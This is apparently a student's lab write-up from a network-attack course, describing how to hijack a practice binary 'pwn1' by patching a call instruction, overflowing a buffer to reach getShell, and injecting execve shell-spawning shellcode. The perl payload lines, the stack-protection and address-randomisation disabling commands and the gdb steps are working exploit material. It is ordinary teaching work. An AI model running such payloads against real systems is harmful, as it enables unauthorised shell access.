20165302 程上杰 Exp1 PC平台逆向破解
实验内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。容
基础知识
- 熟悉Linux基本操作,能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
会使用gdb,vi。
实验步骤
一,直接修改程序机器指令,改变程序执行流程
输入objdump -d pwn1 | more反汇编pwn1,可以看到call 8048491,是说将调用地址为8048491的foo函数,对应机器指令为“e8 d7ffffff”
- 我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行,为c3ffffff
- cp pwn1 pwn2
- vi pwn1
- 在vi内 ①按ESC键②输入:%!xxd③输入/d7④修改d7为c3⑤转换16进制为原格式:%!xxd -r ⑥:wq保存退出
再反汇编看一下,call指令是否正确调用getShellroot
objdump -d pwn1 | more
二,通过构造输入参数,造成BOF攻击,改变程序执行流
- gdb pwn2
- r
- info r
- r
- 观察eip的值为0x35353535,如果输入字符串1111111122222222333333334444444412345678,eip的值为0x34333231
- 退出gdb,输入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 使用16进制查看指令xxd查看input文件的内容
(cat input; cat) | ./pwn1
破解成功三,注入Shellcode并执行
- 输入指令apt-get install execstack安装execstack
- execstack -s pwn1
- execstack -q pwn1
- 'echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化
- perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- ps -ef | grep pwn能看见当前运行pwn3的进程号为35148
- 在gdb里面attach 35148进行调试
- disassemble foo反编译
- ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae
- c
- info r esp查看esp寄存器地址
- x/16x 0xffffd30c以16进制形式查看0xffffd30c地址后面16字节的内容
- perl -e 'print "A" x 32;print"\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1
成功!!!
20165302 程上杰 Exp1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- Exp1 PC平台逆向破解 20165235 祁瑛
Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
随机推荐
- JavaOne 2016主旨演讲畅谈Java近期及远期规划
在 JavaOne 2016 主题演讲开场,来自 Oracle 的 Java 产品管理负责人 Sharat Chander 指出 Java 盛行于个人和工作的日常生活各个领域,无论是大数据.物联网甚至 ...
- php面向对象精要(3)
1,final关键字定义的方法,不能被重写 由于final修饰了show方法,子类中重写show方法会报错 <?php class MyClass { final function show() ...
- ThinkPHP5自定义分页样式
1.在thinkphp/library/think/paginator/driver目录下新建文件Page.php 注意命名空间和继承 <?php namespace think\paginat ...
- idea配置热部署
第一步:添加依赖使用spring-boot-devtools提供的开发者工具spring-boot项目中引入如下依赖 <dependency><groupId>org.spri ...
- CSS中的三种常用定位
一.相对定位(position:relative) 如果想让一个元素在本来的位置进行一个位移,可以将该元素的定位设置为relative,同时指定相对位移(利用top,bottom,left,right ...
- Git冲突与解决方法
1.git冲突的场景 情景一:多个分支代码合并到一个分支时: 情景二:多个分支向同一个远端分支推送代码时: 实际上,push操作即是将本地代码merge到远端库分支上. 关于push和pull其实就分 ...
- SQLServer SQL连接查询深度探险(摘录
SQL连接查询深度探险[摘录] 测试环境: Windows XP Profession MySQL 5.0.45 Oracle 9i DB2 UDB 9.1 测试的SQL脚本如下:此脚本适合MySQL ...
- FileWriter剖析
集合这种容器存储数据,它只能在内存中临时存储,不能永久存储,这样会导致数据的丢失,所以出现了IO流. IO流用来处理设备之间的数据传输.可以用来做复制文件,上传文件,下载文件. 读数据是输入流,写数据 ...
- JSP指示元素<%@ %> 与指示类型
JSP提示元素 <%@ 指示类型 [属性="值"]%> 指示类型 指示类型有三种,分别是taglib.include.page taglib指示类型 用于引入标签库 ...
- 记一款bug管理系统(bugdone.cn)的开发过程(1) -- 为什么要开发一款bug开发系统
对于从事软件研发行业的同学来说bug管理系统肯定不陌生.本人03年左右开始正式成为一名码农,工作期间接触过若干bug管理系统,如JIRA等,不过都是自行部署在公司内网的. 几年过去了,现在已经是互联网 ...